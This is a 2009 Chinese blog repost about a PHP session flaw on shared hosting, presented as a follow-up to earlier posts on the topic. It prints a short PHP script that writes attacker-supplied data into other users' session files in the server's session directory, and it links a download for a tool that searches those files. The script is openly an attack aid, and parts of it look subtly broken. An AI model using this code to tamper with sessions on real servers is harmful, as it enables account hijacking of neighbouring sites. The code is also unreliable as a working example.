首页 电脑 电脑学堂 查看内容

PHP session缺陷及管理工具

2009-2-12 08:16 823 0

摘要: 剑心就是剑心,想法真好,上篇日志我写了个程序来获得服务器所有用户的session数据,他就想到了旁注,嘿嘿,没错,就是修改所读出来的数据,鄙人又写了个垃圾脚本用来修改数...
关键词: nbsp 剑心 session 文件 疯狗 数据 sess 代码 就是 程序

剑心就是剑心,想法真好,上篇日志我写了个程序来获得服务器所有用户的session数据,他就想到了旁注,嘿嘿,没错,就是修改所读出来的数据,鄙人又写了个垃圾脚本用来修改数据,具体的实现是"直接读取=>修改数据=>提交修改",提交使用了PHP的file_put_contents函数,但是碰到很多麻烦,就是"_"和"__"的区别,不过刚发现这种攻击危害真的很大啊...获得修改数据的部分代码,获取与表单提交暂不公布;<?phpsession_start();$path = ini_get('session.save_path');foreach ($_POST as $sess_name => $sess_data){$_SESSION = $sess_data;$sess_data = session_encode; file_put_contents("$path/$sess_name", $sess_data);} $_SESSION = array();echo "Fuck OK!";?> PHP服务端SESSION管理工具前两天我所在的楼层断了网,郁闷的我什么也干不了.之前刚好看到剑心的blog里有篇疯狗写的关于利用session渗透的文章,文章写得很简单,到最后" 小气"的疯狗也没有把利用程序发出来,所以我不管有没有用先把它写下来了.由于不能查资料,所以只好对这手册看,代码在很多方面可能还存在着缺陷.最烦人的还是正则和文件流操作的问题,循环来循环去的,把我的头都搞晕了,光是调试都花了整整一天的时间(写代码粗心大意没办法).希望大家多提提意见看法.. 疯狗的章:http://www.loveshell.net/blog/blogview.asp?logID=101写好后我对程序的执行效率进行了大致的测试执行环境:winxp,PHP5,apache2,酷睿2050--1.6GHZ,512m内存,945主板文件系统:6层目录,每层1000个文件,session文件大约为50-100字节搜索这6000个文件大约需10-15s的执行时间,效率并不像我想象中的那么低.下载
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部